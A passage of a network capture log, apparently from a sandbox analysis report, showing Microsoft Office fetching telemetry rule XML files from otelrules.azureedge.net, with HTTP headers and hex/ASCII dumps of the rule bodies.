22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:10 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:10 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181510Z-185f5d8b95c9mqtvhC1NYCghtc000000092g00000000uxa0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:10 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:10 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:10 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181510Z-185f5d8b95cqnkdjhC1NYCm8w8000000090g000000005caq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:10 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:10 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181510Z-185f5d8b95cgrrn8hC1NYCgwh400000008z000000000dw8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:10 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:10 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181510Z-185f5d8b95cjbkr4hC1NYCeu2400000008xg00000000hh12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:10 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:10 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:10 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181510Z-r1d97b99577dd2gchC1TEBz5ys00000007mg000000005v0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:10 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:10 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181510Z-1777c6cb754vxwc9hC1TEBykgw00000008hg000000000vfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:10 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:10 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181510Z-185f5d8b95crl6swhC1NYC3ueg000000096g00000000pdrb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:10 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:11 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181511Z-r1d97b99577jlrkbhC1TEBq8d000000007pg000000004wvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:11 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181511Z-185f5d8b95c4vwv8hC1NYCy4v4000000094g00000000wqfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:11 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:11 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:11 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181511Z-1777c6cb7542p5p4hC1TEBq09800000008h0000000002fbc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:11 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:11 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:11 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181511Z-1777c6cb754dqf99hC1TEB5nps000000088000000000m8qn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:11 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:11 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:11 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:11 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181511Z-185f5d8b95csd4bwhC1NYCq7dc00000008yg00000000sf4c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
